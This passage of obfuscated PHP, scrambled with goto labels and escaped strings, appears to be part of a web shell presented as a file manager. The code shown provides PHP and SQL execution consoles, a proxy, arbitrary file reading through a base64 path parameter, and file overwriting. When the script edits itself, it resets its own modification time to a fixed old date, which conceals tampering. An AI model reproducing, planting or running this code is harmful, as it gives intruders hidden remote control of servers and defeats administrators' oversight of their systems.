file_get_contents("\150\x74\164\160\x73\72\x2f\x2f\x72\141\x77\x2e\x67\151\x74\x68\x75\x62\x75\x73\145\162\143\x6f\x6e\164\145\x6e\x74\56\143\x6f\x6d\x2f\104\145\x6e\61\x78\170\x78\x2f\106\x69\x6c\145\x6d\141\156\x61\x67\x65\x72\x2f\155\x61\163\x74\145\x72\x2f\154\141\156\x67\165\x61\x67\x65\x73\x2f" . $language . "\56\x6a\x73\157\x6e"); if (!empty($get_lang)) { $translation_string = str_replace("\x27", "\x26\43\63\x39\73", json_encode(json_decode($get_lang), JSON_UNESCAPED_UNICODE)); $fgc = file_get_contents(__FILE__); $search = preg_match("\x23\x74\162\141\156\x73\x6c\x61\x74\151\x6f\156\133\134\x73\x5d\77\134\x3d\x5b\134\x73\135\x3f\47\134\x7b\134\x22\x28\x2e\52\x3f\51\134\42\134\175\47\73\43", $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace("\173\x22" . $matches[1] . "\x22\175", $translation_string, $fgc); if (file_put_contents(__FILE__, $replace)) { $msg .= __("\x46\x69\154\145\x20\x75\x70\x64\x61\164\x65\x64"); } else { $msg .= __("\x45\162\x72\157\162\40\157\x63\143\x75\x72\162\145\144"); } if (!empty($fm_config["\146\155\137\x72\145\163\164\x6f\x72\145\x5f\x74\x69\x6d\145"])) { touch(__FILE__, $filemtime); } } $lang = json_decode($translation_string, true); } } goto PgU1X; moano: if ($detect_lang && !empty($_SERVER["\x48\x54\x54\120\137\101\103\x43\x45\x50\x54\137\x4c\x41\116\107\125\101\x47\105"]) && empty($_COOKIE["\x66\x6d\x5f\x6c\141\x6e\x67"])) { $lang_priority = explode("\x2c", $_SERVER["\110\x54\124\x50\137\101\x43\103\105\120\124\x5f\114\x41\116\x47\125\x41\x47\105"]); if (!empty($lang_priority)) { foreach ($lang_priority as $lang_arr) { $lng = explode("\73", $lang_arr); $lng = $lng[0]; if (in_array($lng, $langs)) { $language = $lng; break; } } } } goto WHDhM; jCP95: function fm_tpl_form($lng_tpl) { global ${$lng_tpl . "\x5f\164\x65\x6d\160\x6c\x61\164\145\163"}; $tpl_arr = json_decode(${$lng_tpl . "\137\164\145\155\x70\154\x61\164\x65\x73"}, true); $str = ''; foreach ($tpl_arr as $ktpl => $vtpl) { $str .= "\74\164\162\x3e\74\x74\144\x20\143\x6c\x61\163\x73\75\x22\x72\157\x77\61\x22\x3e\x3c\151\x6e\160\x75\x74\40\x6e\x61\x6d\145\75\x22" . $lng_tpl . "\137\156\x61\155\x65\x5b\135\42\40\166\141\154\x75\x65\75\x22" . $ktpl . "\x22\76\x3c\57\164\144\76\74\164\144\40\x63\154\141\x73\x73\x3d\x22\162\x6f\x77\x32\x20\167\150\x6f\154\145\x22\76\x3c\164\x65\x78\164\x61\162\x65\141\40\156\141\x6d\x65\x3d\x22" . $lng_tpl . "\137\x76\141\x6c\x75\145\133\135\x22\40\x20\x63\x6f\x6c\x73\x3d\x22\65\x35\x22\x20\x72\157\167\x73\x3d\x22\65\42\x20\143\x6c\x61\x73\x73\x3d\x22\x74\145\170\164\x61\x72\x65\x61\137\151\156\160\x75\164\x22\x3e" . $vtpl . "\x3c\57\x74\x65\170\x74\x61\162\145\x61\76\x20\74\x69\156\160\x75\x74\40\x6e\x61\x6d\145\x3d\x22\x64\x65\x6c\x5f" . rand() . "\42\40\x74\x79\x70\x65\x3d\x22\142\x75\164\164\157\156\x22\x20\x6f\156\x43\154\151\x63\x6b\x3d\x22\164\x68\x69\163\x2e\160\x61\162\x65\x6e\x74\x4e\157\144\x65\x2e\160\141\x72\145\156\164\116\157\144\x65\x2e\162\145\155\157\166\x65\50\x29\73\x22\x20\166\x61\154\x75\x65\75\42" . __("\104\145\154\x65\164\145") . "\x22\57\x3e\x3c\57\164\x64\x3e\x3c\x2f\x74\162\76"; } return "\12\74\x74\x61\142\x6c\145\76\12\x3c\164\162\76\x3c\164\x68\40\x63\x6f\x6c\x73\160\x61\x6e\75\42\62\42\76" . strtoupper($lng_tpl) . "\x20" . __("\164\x65\155\160\154\141\x74\x65\163") . "\40" . fm_run_input($lng_tpl) . "\74\x2f\x74\150\x3e\x3c\x2f\x74\162\76\12\x3c\x66\157\162\155\40\x6d\145\164\150\x6f\x64\x3d\42\160\157\x73\x74\x22\x20\x61\143\x74\151\157\x6e\75\42\42\76\12\x3c\151\x6e\160\165\164\40\x74\x79\x70\x65\x3d\x22\150\151\144\144\145\156\42\x20\166\x61\154\165\145\x3d\x22" . $lng_tpl . "\x22\40\x6e\141\155\x65\x3d\42\164\160\x6c\137\x65\144\151\x74\x65\144\x22\x3e\12\74\164\162\x3e\74\x74\144\40\x63\154\141\163\163\x3d\x22\162\157\167\x31\x22\76" . __("\116\141\155\145") . "\74\57\x74\x64\76\74\164\144\x20\x63\x6c\x61\163\x73\x3d\42\162\x6f\167\62\x20\x77\150\157\154\145\42\76" . __("\126\141\154\165\x65") . "\74\x2f\164\x64\x3e\x3c\x2f\164\162\x3e\xa" . $str . "\xa\74\x74\x72\x3e\x3c\x74\x64\x20\x63\157\x6c\x73\160\141\x6e\75\42\62\42\x20\143\x6c\x61\x73\x73\x3d\42\x72\x6f\x77\x33\x22\x3e\x3c\x69\x6e\x70\x75\x74\40\x6e\x61\x6d\145\x3d\42\162\145\163\x22\x20\x74\x79\160\145\x3d\x22\x62\x75\x74\x74\157\156\x22\40\157\156\103\154\x69\x63\x6b\x3d\x22\144\157\143\165\x6d\145\x6e\164\56\154\157\x63\141\164\151\157\156\56\150\x72\145\146\x20\x3d\40\47" . fm_url() . "\x3f\146\155\137\163\x65\164\x74\x69\156\x67\x73\75\164\x72\165\145\x27\73\x22\x20\x76\141\x6c\x75\145\x3d\42" . __("\122\145\163\x65\164") . "\42\x2f\x3e\x20\x3c\x69\156\160\165\x74\x20\x74\171\x70\145\75\x22\x73\x75\142\155\151\164\x22\40\x76\141\x6c\x75\x65\x3d\42" . __("\123\141\166\145") . "\x22\40\76\74\57\164\x64\x3e\74\57\164\x72\x3e\xa\x3c\57\x66\x6f\x72\155\x3e\12\x3c\x66\x6f\162\x6d\x20\155\x65\x74\150\x6f\x64\75\42\160\157\163\x74\x22\40\x61\143\x74\151\x6f\x6e\x3d\42\x22\76\xa\74\x69\x6e\160\165\x74\x20\164\171\160\145\x3d\42\150\x69\x64\144\145\156\42\40\166\141\x6c\165\145\75\x22" . $lng_tpl . "\x22\x20\x6e\141\x6d\145\75\x22\164\x70\x6c\x5f\x65\x64\151\164\145\x64\x22\x3e\xa\74\164\162\x3e\74\164\144\x20\x63\154\141\163\163\75\x22\162\157\167\61\42\76\74\x69\156\x70\x75\x74\x20\156\141\155\145\x3d\42" . $lng_tpl . "\x5f\x6e\145\167\137\x6e\141\155\145\42\40\166\141\x6c\165\145\x3d\42\x22\x20\x70\154\x61\143\x65\x68\x6f\154\144\145\x72\75\x22" . __("\x4e\x65\x77") . "\40" . __("\116\x61\x6d\145") . "\42\76\74\x2f\164\144\x3e\x3c\x74\x64\x20\143\x6c\x61\x73\x73\75\42\x72\x6f\x77\x32\40\x77\x68\x6f\x6c\145\x22\76\x3c\x74\x65\x78\x74\x61\x72\145\x61\x20\x6e\141\155\x65\75\42" . $lng_tpl . "\x5f\x6e\145\167\137\166\x61\x6c\x75\145\42\40\40\x63\157\x6c\x73\75\x22\65\x35\x22\x20\x72\157\167\163\75\x22\65\42\40\143\154\141\163\163\75\x22\x74\145\x78\x74\141\x72\x65\141\x5f\151\156\160\165\x74\42\x20\160\154\141\x63\145\x68\157\154\x64\145\x72\75\x22" . __("\x4e\145\167") . "\40" . __("\126\141\154\x75\145") . "\42\76\x3c\x2f\164\145\x78\164\141\x72\145\x61\x3e\74\x2f\164\144\76\74\57\x74\x72\76\xa\x3c\x74\x72\x3e\x3c\164\x64\40\x63\157\x6c\163\x70\141\156\75\42\x32\x22\x20\x63\154\x61\163\x73\x3d\x22\162\157\167\63\42\76\74\151\x6e\x70\x75\x74\40\164\x79\160\x65\x3d\x22\163\165\x62\x6d\x69\164\x22\40\166\x61\x6c\x75\145\x3d\x22" . __("\x41\144\144") . "\x22\x20\x3e\74\x2f\164\x64\76\74\x2f\x74\x72\x3e\xa\74\x2f\146\157\162\155\x3e\xa\x3c\57\x74\141\142\154\x65\x3e\xa"; } goto Kn1PS; vSDEl: if (isset($_GET["\x69\155\x67"])) { $file = base64_decode($_GET["\x69\x6d\x67"]); if ($info = getimagesize($file)) { switch ($info[2]) { case 1: $ext = "\147\x69\x66"; break; case 2: $ext = "\152\x70\145\x67"; break; case 3: $ext = "\160\x6e\147"; break; case 6: $ext = "\142\x6d\x70"; break; default: die; } header("\103\157\x6e\x74\145\x6e\x74\x2d\x74\171\x70\x65\x3a\40\x69\x6d\141\147\x65\x2f{$ext}"); echo file_get_contents($file); die; } } goto MIL6A; uu10I: function fm_url_proxy($matches) { $link = str_replace("\x26\141\155\x70\73", "\46", $matches[2]); $url = isset($_GET["\x75\x72\154"]) ? $_GET["\x75\x72\x6c"] : ''; $parse_url = parse_url($url); $host = $parse_url["\x73\x63\x68\145\x6d\145"] . "\72\57\57" . $parse_url["\150\157\163\164"] . "\57"; if (substr($link, 0, 2) == "\57\57") { $link = substr_replace($link, fm_protocol(), 0, 2); } elseif (substr($link, 0, 1) == "\x2f") { $link = substr_replace($link, $host, 0, 1); } elseif (substr($link, 0, 2) == "\56\x2f") { $link = substr_replace($link, $host, 0, 2); } elseif (substr($link, 0, 4) == "\150\x74\164\160") { } else { $link = $host . $link; } if ($matches[1] == "\x68\x72\145\146" && !strripos($link, "\143\163\163")) { $base = fm_site_url() . "\x2f" . basename(__FILE__); $baseq = $base . "\77\160\162\x6f\170\x79\x3d\x74\x72\x75\x65\46\165\162\x6c\75"; $link = $baseq . urlencode($link); } elseif (strripos($link, "\x63\x73\163")) { } return $matches[1] . "\x3d\42" . $link . "\x22"; } goto jCP95; GRczh: $php_templates = "\x7b\x22\x53\145\x74\164\151\156\147\163\x22\72\42\147\x6c\157\x62\141\x6c\40\44\x66\x6d\137\143\157\x6e\x66\x69\x67\73\134\162\134\156\166\141\162\137\145\x78\160\157\x72\164\x28\x24\x66\155\x5f\143\157\156\x66\151\x67\51\73\x22\54\42\102\141\143\153\165\x70\x20\x53\121\x4c\40\x74\x61\142\154\x65\x73\x22\72\42\x65\143\150\x6f\x20\x66\x6d\x5f\142\141\x63\153\x75\160\137\x74\141\142\154\x65\x73\x28\51\x3b\x22\x7d"; goto K3q9X; jFeyp: ?> <!doctypehtml><html><head><meta charset="utf-8"><meta content="width=device-width,initial-scale=1"name="viewport"><title><?php goto WqXpR; iUfnC: if (isset($_GET["\x66\x6d\x5f\163\145\164\x74\151\156\147\163"])) { echo "\40\xa\x3c\164\x61\x62\x6c\145\x20\143\x6c\x61\x73\163\75\x22\x77\150\x6f\x6c\145\x22\x3e\xa\x3c\x66\x6f\162\155\x20\x6d\145\164\x68\157\x64\x3d\x22\160\157\x73\164\42\40\x61\x63\164\x69\x6f\156\x3d\x22\x22\76\12\x3c\x74\162\76\x3c\164\150\x20\x63\x6f\x6c\x73\x70\141\x6e\x3d\42\62\42\x3e" . __("\x46\x69\x6c\x65\x20\x6d\141\x6e\x61\147\x65\162") . "\40\x2d\40" . __("\123\x65\x74\x74\x69\x6e\x67\163") . "\x3c\57\164\x68\x3e\x3c\57\164\x72\x3e\xa" . (empty($msg) ? '' : "\x3c\x74\x72\76\74\x74\x64\40\x63\x6c\141\163\x73\x3d\42\162\157\x77\x32\42\40\143\157\x6c\x73\x70\141\x6e\x3d\42\x32\42\76" . $msg . "\x3c\x2f\x74\144\x3e\74\x2f\x74\x72\x3e") . "\12" . fm_config_checkbox_row(__("\x53\x68\x6f\x77\x20\163\151\x7a\x65\40\x6f\x66\x20\x74\150\145\40\146\x6f\x6c\x64\x65\162"), "\163\150\x6f\x77\137\x64\x69\x72\137\163\151\x7a\x65") . "\12" . fm_config_checkbox_row(__("\123\x68\157\x77") . "\40" . __("\160\151\143\164\165\162\x65\x73"), "\x73\x68\x6f\167\137\151\155\x67") . "\xa" . fm_config_checkbox_row(__("\123\x68\x6f\x77") . "\x20" . __("\x4d\x61\x6b\x65\40\x64\x69\x72\x65\x63\x74\157\162\x79"), "\x6d\x61\153\145\137\144\151\x72\145\143\x74\x6f\162\x79") . "\xa" . fm_config_checkbox_row(__("\123\150\x6f\x77") . "\40" . __("\x4e\145\167\40\x66\151\154\145"), "\156\145\x77\137\146\x69\154\145") . "\xa" . fm_config_checkbox_row(__("\123\x68\157\x77") . "\x20" . __("\x55\160\x6c\x6f\141\144"), "\x75\160\154\157\141\x64\137\x66\151\154\145") . "\12" . fm_config_checkbox_row(__("\x53\150\x6f\x77") . "\40\120\x48\x50\40\x76\x65\162\x73\x69\x6f\156", "\x73\x68\157\x77\137\x70\150\x70\137\166\145\x72") . "\12" . fm_config_checkbox_row(__("\123\150\157\167") . "\40\x50\110\x50\x20\151\156\x69", "\163\150\157\167\137\x70\x68\160\137\x69\x6e\x69") . "\12" . fm_config_checkbox_row(__("\123\150\157\167") . "\40" . __("\x47\x65\156\145\x72\141\164\151\157\x6e\x20\164\x69\x6d\145"), "\163\x68\157\x77\137\x67\x74") . "\12" . fm_config_checkbox_row(__("\x53\150\157\167") . "\40\x78\154\x73", "\163\150\x6f\167\137\x78\x6c\163") . "\xa" . fm_config_checkbox_row(__("\123\x68\x6f\167") . "\40\x50\x48\120\40" . __("\x43\x6f\156\163\157\154\145"), "\x65\x6e\x61\142\154\145\137\160\x68\160\x5f\x63\157\156\163\x6f\154\x65") . "\12" . fm_config_checkbox_row(__("\x53\x68\x6f\167") . "\x20\x53\x51\114\40" . __("\103\157\156\x73\157\154\x65"), "\x65\x6e\141\142\154\x65\x5f\x73\x71\154\137\x63\x6f\x6e\163\157\154\x65") . "\12\x3c\164\162\x3e\74\164\x64\40\143\154\141\163\x73\x3d\42\x72\x6f\x77\x31\42\x3e\x3c\151\x6e\160\x75\x74\x20\x6e\x61\155\145\x3d\42\146\155\x5f\x63\x6f\x6e\146\x69\147\133\163\161\154\x5f\163\x65\x72\166\145\162\135\x22\40\x76\x61\x6c\x75\145\x3d\x22" . $fm_config["\163\161\x6c\x5f\x73\145\x72\166\145\x72"] . "\42\40\164\x79\x70\145\x3d\x22\x74\145\x78\164\42\x3e\x3c\x2f\164\x64\76\74\x74\144\40\x63\154\x61\x73\x73\75\x22\162\157\x77\x32\x20\x77\x68\x6f\x6c\145\42\x3e\123\121\114\x20\163\145\x72\166\145\x72\x3c\57\x74\144\x3e\x3c\57\x74\x72\x3e\xa\74\x74\162\x3e\x3c\x74\144\x20\143\154\x61\163\x73\75\42\x72\157\167\x31\42\76\x3c\151\x6e\160\165\164\x20\156\141\155\145\75\42\146\155\x5f\143\157\156\x66\151\x67\133\163\x71\154\137\x75\x73\x65\x72\x6e\141\x6d\x65\x5d\42\x20\x76\x61\x6c\165\145\75\x22" . $fm_config["\x73\161\154\137\165\163\x65\x72\x6e\141\x6d\145"] . "\42\40\164\x79\160\145\75\42\164\145\x78\x74\42\x3e\74\x2f\x74\144\76\74\164\144\x20\x63\154\x61\x73\x73\75\x22\162\157\x77\62\x20\x77\x68\x6f\154\145\42\76\123\121\114\x20\165\x73\145\x72\x3c\57\x74\144\76\x3c\57\164\x72\76\xa\x3c\x74\x72\x3e\74\x74\x64\40\143\154\x61\x73\163\x3d\x22\x72\157\x77\61\42\76\74\151\156\160\x75\x74\40\156\x61\x6d\x65\x3d\42\146\155\x5f\x63\x6f\156\146\x69\147\x5b\x73\161\154\137\x70\x61\x73\163\167\157\162\x64\135\42\40\166\141\154\x75\145\75\42" . $fm_config["\163\161\154\137\160\x61\163\163\x77\x6f\162\x64"] . "\x22\x20\164\171\x70\145\x3d\42\x74\145\170\164\42\x3e\x3c\57\x74\144\76\x3c\164\x64\40\143\154\141\x73\x73\75\42\162\x6f\x77\x32\40\167\150\157\x6c\x65\42\76\x53\121\114\40\160\x61\x73\x73\x77\x6f\162\x64\74\x2f\164\x64\76\74\57\164\x72\76\12\x3c\x74\162\x3e\x3c\164\144\x20\x63\154\141\x73\163\x3d\x22\162\157\167\61\42\x3e\x3c\x69\x6e\160\x75\x74\40\156\141\155\x65\x3d\42\146\155\x5f\x63\157\x6e\x66\151\147\133\163\x71\154\x5f\x64\x62\x5d\42\40\x76\141\x6c\x75\x65\x3d\42" . $fm_config["\163\161\154\137\144\x62"] . "\42\x20\x74\171\x70\x65\75\42\x74\145\170\164\x22\x3e\x3c\57\x74\144\76\74\x74\x64\40\x63\154\x61\x73\163\75\x22\x72\x6f\x77\x32\40\167\x68\157\x6c\145\x22\76\x53\x51\x4c\x20\x44\102\74\57\x74\144\x3e\74\x2f\164\162\76\12" . fm_config_checkbox_row(__("\x53\x68\157\x77") . "\40\120\162\157\x78\171", "\145\x6e\x61\x62\x6c\145\137\x70\x72\x6f\170\171") . "\xa" . fm_config_checkbox_row(__("\x53\x68\157\x77") . "\40\x70\x68\x70\151\x6e\x66\x6f\50\51", "\163\150\x6f\x77\137\160\x68\160\151\x6e\x66\157") . "\12" . fm_config_checkbox_row(__("\x53\x68\x6f\167") . "\x20" . __("\123\145\x74\164\151\x6e\147\x73"), "\146\x6d\x5f\x73\x65\x74\x74\x69\156\147\163") . "\xa" . fm_config_checkbox_row(__("\x52\145\163\x74\157\x72\145\40\146\151\154\x65\x20\164\x69\155\145\x20\141\146\164\x65\162\40\x65\x64\151\x74\151\x6e\x67"), "\x72\x65\163\x74\157\162\x65\x5f\x74\x69\x6d\x65") . "\12" . fm_config_checkbox_row(__("\106\151\154\145\x20\x6d\141\x6e\141\x67\x65\162") . "\72\40" . __("\122\145\163\x74\x6f\162\x65\40\146\151\x6c\145\40\164\x69\155\145\x20\x61\x66\164\145\162\40\x65\x64\151\164\151\156\x67"), "\x66\x6d\137\x72\x65\163\164\x6f\x72\x65\x5f\x74\151\x6d\x65") . "\12\74\x74\x72\76\x3c\164\x64\x20\143\x6c\x61\163\x73\x3d\x22\162\x6f\x77\x33\x22\x3e\74\x61\x20\150\x72\x65\x66\x3d\42" . fm_url() . "\x3f\146\155\x5f\x73\145\164\x74\x69\156\x67\x73\75\x74\x72\165\x65\46\146\155\x5f\x63\157\156\146\151\147\x5f\144\145\154\x65\x74\x65\x3d\x74\162\165\145\42\76" . __("\122\145\163\145\164\40\x73\x65\164\164\151\156\x67\163") . "\74\57\141\x3e\74\x2f\164\x64\76\x3c\x74\x64\40\x63\154\x61\163\x73\75\x22\162\157\x77\x33\42\76\x3c\151\156\x70\165\164\x20\164\x79\x70\x65\x3d\42\x73\165\x62\x6d\151\x74\x22\x20\166\141\154\x75\x65\x3d\x22" . __("\123\141\166\145") . "\42\40\156\141\x6d\x65\75\x22\x66\155\137\143\157\x6e\x66\151\147\x5b\x66\x6d\x5f\163\x65\164\x5f\x73\x75\142\x6d\151\x74\135\x22\76\x3c\57\x74\144\76\74\x2f\x74\x72\76\12\x3c\57\146\x6f\x72\x6d\76\12\x3c\57\164\x61\142\x6c\145\x3e\xa\74\164\141\142\x6c\x65\x3e\12\x3c\146\x6f\162\x6d\40\x6d\x65\164\150\157\x64\75\42\x70\157\163\x74\42\x20\141\x63\x74\151\157\156\75\42\42\76\xa\74\x74\x72\x3e\x3c\x74\x68\x20\x63\x6f\x6c\x73\x70\x61\156\x3d\x22\62\x22\76" . __("\123\145\164\x74\x69\156\x67\163") . "\40\x2d\x20" . __("\101\165\x74\x68\157\162\151\x7a\x61\x74\x69\x6f\156") . "\x3c\57\164\x68\x3e\74\x2f\x74\162\76\xa\x3c\x74\x72\76\74\x74\x64\40\x63\154\x61\163\163\75\42\x72\x6f\167\61\42\76\x3c\x69\x6e\x70\x75\x74\x20\x6e\141\155\x65\x3d\x22\146\155\137\x6c\x6f\x67\x69\x6e\x5b\141\165\x74\x68\157\162\151\172\145\x5d\x22\x20\166\141\154\x75\145\x3d\42\x31\42\x20" . ($auth["\141\165\164\x68\157\162\x69\x7a\x65"] ? "\143\x68\x65\143\153\145\144" : '') . "\x20\164\x79\160\x65\x3d\42\143\150\145\x63\x6b\142\157\x78\42\x20\151\x64\x3d\42\x61\165\x74\x68\x22\76\74\57\x74\x64\x3e\x3c\x74\144\x20\143\x6c\141\x73\163\75\42\x72\157\167\x32\x20\167\150\157\x6c\145\x22\76\74\x6c\141\142\x65\154\40\146\157\x72\75\x22\141\165\164\150\x22\x3e" . __("\x41\x75\164\x68\x6f\x72\151\172\x61\x74\x69\x6f\156") . "\x3c\57\x6c\x61\142\x65\154\76\74\x2f\164\144\x3e\74\57\164\162\x3e\xa\x3c\164\x72\x3e\x3c\x74\144\x20\x63\x6c\x61\x73\163\75\42\x72\x6f\x77\x31\x22\x3e\x3c\151\x6e\x70\x75\164\x20\156\141\x6d\145\75\x22\x66\155\x5f\x6c\x6f\147\151\x6e\133\154\x6f\x67\x69\x6e\135\42\x20\166\141\154\165\145\x3d\42" . $auth["\154\x6f\147\151\x6e"] . "\x22\x20\x74\171\160\x65\75\42\164\145\x78\164\42\x3e\x3c\57\x74\x64\76\x3c\164\144\40\x63\154\141\163\163\x3d\x22\162\x6f\x77\x32\x20\x77\x68\157\154\145\42\x3e" . __("\114\x6f\147\151\x6e") . "\x3c\57\x74\144\x3e\74\57\x74\162\x3e\xa\x3c\164\162\x3e\x3c\x74\144\40\x63\x6c\141\x73\163\75\42\x72\157\x77\61\42\x3e\74\151\x6e\160\165\164\x20\x6e\141\155\x65\75\x22\x66\x6d\x5f\x6c\x6f\147\x69\x6e\x5b\x70\x61\x73\x73\x77\x6f\162\144\x5d\42\x20\x76\141\x6c\x75\x65\75\x22" . $auth["\x70\x61\163\x73\x77\157\x72\x64"] . "\42\40\164\x79\160\145\x3d\x22\164\x65\x78\x74\x22\76\74\57\x74\144\x3e\x3c\x74\144\x20\x63\154\141\x73\163\75\x22\x72\157\167\62\40\167\x68\x6f\154\145\42\76" . __("\x50\141\x73\x73\167\x6f\x72\x64") . "\x3c\x2f\164\144\x3e\74\x2f\164\x72\x3e\12\74\x74\x72\x3e\74\164\x64\x20\143\154\141\x73\163\x3d\x22\x72\x6f\167\61\42\76\74\x69\x6e\x70\165\x74\40\x6e\x61\x6d\145\75\42\x66\155\137\154\x6f\147\x69\156\133\143\x6f\157\x6b\151\x65\137\156\141\x6d\x65\x5d\42\x20\166\141\154\x75\145\75\x22" . $auth["\143\x6f\157\153\151\145\137\156\141\155\145"] . "\42\40\164\x79\160\145\x3d\x22\164\145\170\x74\42\x3e\x3c\x2f\x74\x64\x3e\x3c\164\x64\40\x63\x6c\141\x73\163\x3d\x22\x72\157\167\62\x20\167\150\157\x6c\145\42\x3e" . __("\x43\x6f\x6f\153\x69\145") . "\74\x2f\164\144\x3e\x3c\x2f\164\x72\76\xa\x3c\164\162\x3e\x3c\x74\144\x20\x63\154\x61\x73\163\x3d\42\162\x6f\x77\x31\42\76\74\x69\x6e\x70\165\164\x20\156\141\x6d\x65\x3d\x22\x66\155\x5f\x6c\x6f\x67\151\x6e\x5b\x64\141\x79\163\137\x61\165\164\150\x6f\x72\x69\x7a\141\x74\151\157\x6e\x5d\x22\x20\166\141\154\x75\x65\x3d\x22" . $auth["\x64\x61\x79\x73\137\141\165\164\x68\x6f\x72\x69\172\141\x74\x69\157\x6e"] . "\42\40\164\171\160\145\75\x22\x74\x65\170\164\42\x3e\x3c\x2f\164\x64\76\x3c\164\144\x20\x63\x6c\x61\x73\163\75\42\162\x6f\x77\x32\40\x77\x68\x6f\154\x65\42\x3e" . __("\x44\141\x79\x73") . "\x3c\x2f\164\x64\76\x3c\57\x74\x72\76\12\x3c\164\x72\x3e\74\164\144\x20\x63\x6c\x61\x73\163\75\x22\x72\x6f\x77\x31\x22\76\x3c\164\145\170\164\x61\162\x65\x61\x20\x6e\x61\155\x65\x3d\x22\146\x6d\x5f\x6c\157\x67\151\x6e\x5b\163\x63\162\151\160\x74\135\x22\40\143\157\x6c\x73\75\42\63\65\42\x20\x72\157\167\163\75\42\67\42\x20\x63\x6c\x61\163\163\75\42\x74\145\170\164\x61\162\x65\x61\x5f\x69\x6e\160\165\x74\42\x20\151\144\75\x22\x61\x75\164\x68\x5f\163\143\x72\x69\x70\x74\x22\x3e" . $auth["\x73\143\x72\151\x70\x74"] . "\74\x2f\x74\x65\170\x74\141\x72\x65\141\x3e\74\x2f\164\x64\76\74\164\144\40\143\154\141\x73\163\75\x22\162\x6f\x77\x32\40\167\150\157\154\145\x22\x3e" . __("\123\x63\162\151\160\x74") . "\74\x2f\164\x64\x3e\x3c\x2f\x74\x72\x3e\xa\x3c\164\162\76\74\164\144\x20\x63\x6f\x6c\x73\160\x61\156\x3d\42\62\42\40\143\x6c\141\163\163\75\x22\x72\x6f\167\63\x22\x3e\x3c\x69\156\x70\x75\x74\40\164\171\160\x65\75\42\x73\x75\142\155\x69\164\42\40\166\141\x6c\165\x65\75\x22" . __("\123\x61\x76\x65") . "\42\40\x3e\74\57\164\144\76\x3c\x2f\164\162\76\12\74\x2f\x66\157\162\155\x3e\xa\74\x2f\x74\141\x62\154\145\76"; echo fm_tpl_form("\x70\x68\160"), fm_tpl_form("\x73\161\154"); } elseif (isset($proxy_form)) { die($proxy_form); } elseif (isset($res_lng)) { ?> <table class="whole"><tr><th><?php echo __("\x46\x69\154\x65\40\x6d\x61\x6e\141\147\x65\162") . "\40\x2d\40" . $path; ?> </th></tr><tr><td class="row2"><table><tr><td><h2><?php echo strtoupper($res_lng); echo __("\x43\x6f\156\163\x6f\x6c\145"); if ($res_lng == "\163\161\x6c") { echo "\40\x2d\x20\x44\x61\x74\x61\x62\141\x73\145\72\40" . $fm_config["\x73\x71\154\x5f\144\x62"] . "\74\57\x68\x32\x3e\74\57\x74\x64\x3e\x3c\164\144\76" . fm_run_input("\x70\x68\160"); } else { echo "\74\x2f\150\x32\x3e\x3c\57\164\x64\76\74\x74\144\76" . fm_run_input("\163\x71\x6c"); } ?> </td></tr></table></td></tr><tr><td class="row1"><a href="<?php echo $url_inc . "\x26\160\x61\164\x68\75" . $path; ?> "><?php echo __("\102\141\x63\x6b"); ?> </a><form action=""method="POST"name="console"><textarea cols="80"name="<?php echo $res_lng; ?> "rows="10"style="width:90%"><?php echo $res; ?> </textarea><br><input value="<?php echo __("\x52\x65\163\145\164"); ?> "type="reset"> <input name="<?php echo $res_lng; ?> run"value="<?php echo __("\x53\x75\x62\155\x69\x74"); ?> "type="submit"><?php $str_tmpl = $res_lng . "\x5f\164\145\x6d\160\154\x61\x74\x65\x73"; $tmpl = !empty(${$str_tmpl}) ? json_decode(${$str_tmpl}, true) : ''; if (!empty($tmpl)) { $active = isset($_POST[$res_lng . "\x5f\x74\160\x6c"]) ? $_POST[$res_lng . "\137\164\x70\x6c"] : ''; $select = "\x3c\163\145\154\145\x63\164\40\x6e\x61\155\145\x3d\x22" . $res_lng . "\137\164\160\x6c\x22\40\164\151\164\154\145\x3d\x22" . __("\x54\145\x6d\160\154\x61\x74\x65") . "\42\x20\x6f\156\143\x68\141\156\147\x65\x3d\42\x69\x66\x20\50\164\150\x69\x73\x2e\166\x61\x6c\x75\x65\x21\x3d\55\61\x29\40\x64\x6f\143\x75\155\x65\x6e\164\56\146\x6f\162\x6d\163\x5b\47\x63\x6f\156\x73\x6f\x6c\145\47\135\x2e\x65\x6c\x65\x6d\x65\x6e\x74\x73\x5b\47" . $res_lng . "\x27\135\x2e\x76\x61\154\165\x65\x20\x3d\40\x74\150\x69\163\56\x6f\x70\164\151\x6f\156\163\133\x73\145\154\x65\x63\x74\x65\x64\111\156\x64\145\x78\135\56\166\x61\154\165\x65\x3b\x20\x65\154\x73\145\x20\x64\157\x63\165\155\x65\x6e\x74\56\146\x6f\162\155\x73\133\x27\x63\157\x6e\163\x6f\x6c\x65\x27\135\x2e\x65\x6c\x65\155\145\156\164\163\x5b\47" . $res_lng . "\x27\135\56\166\x61\154\165\x65\40\75\47\x27\73\42\x20\x3e" . "\xa"; $select .= "\74\x6f\160\x74\151\x6f\156\40\166\x61\154\x75\x65\75\42\55\61\x22\x3e" . __("\x53\x65\154\145\143\164") . "\74\x2f\x6f\160\x74\x69\x6f\156\x3e\12"; foreach ($tmpl as $key => $value) { $select .= "\74\157\x70\x74\151\x6f\156\x20\x76\x61\x6c\x75\x65\x3d\42" . $value . "\x22\x20" . (!empty($value) && $value == $active ? "\163\x65\154\x65\x63\164\x65\x64" : '') . "\40\76" . __($key) . "\x3c\x2f\x6f\160\x74\151\x6f\156\76\xa"; } $select .= "\74\57\x73\x65\154\x65\x63\164\76\xa"; echo $select; } ?> </form></td></tr></table><?php if (!empty($res)) { $fun = "\146\x6d\x5f" . $res_lng; echo "\x3c\150\63\76" . strtoupper($res_lng) . "\x20" . __("\122\145\x73\x75\x6c\164") . "\x3c\57\150\x33\x3e\74\160\x72\145\x3e" . $fun($res) . "\74\x2f\160\162\145\x3e"; } } elseif (!empty($_REQUEST["\x65\x64\151\164"])) { if (!empty($_REQUEST["\x73\141\x76\145"])) { $fn = $path . $_REQUEST["\145\x64\x69\x74"]; $filemtime = filemtime($fn); if (file_put_contents($fn, $_REQUEST["\156\145\167\143\x6f\156\x74\145\156\164"])) { $msg .= __("\x46\151\154\x65\x20\165\x70\144\x61\164\x65\144"); } else { $msg .= __("\105\162\x72\x6f\162\x20\157\x63\143\165\x72\x72\x65\x64"); } if ($_GET["\145\x64\151\164"] == basename(__FILE__)) { touch(__FILE__, 1415116371); } else { if (!empty($fm_config["\162\145\163\x74\157\x72\x65\137\164\151\155\145"])) { touch($fn, $filemtime); } } } $oldcontent = @file_get_contents($path . $_REQUEST["\145\x64\x69\x74"]); $editlink = $url_inc . 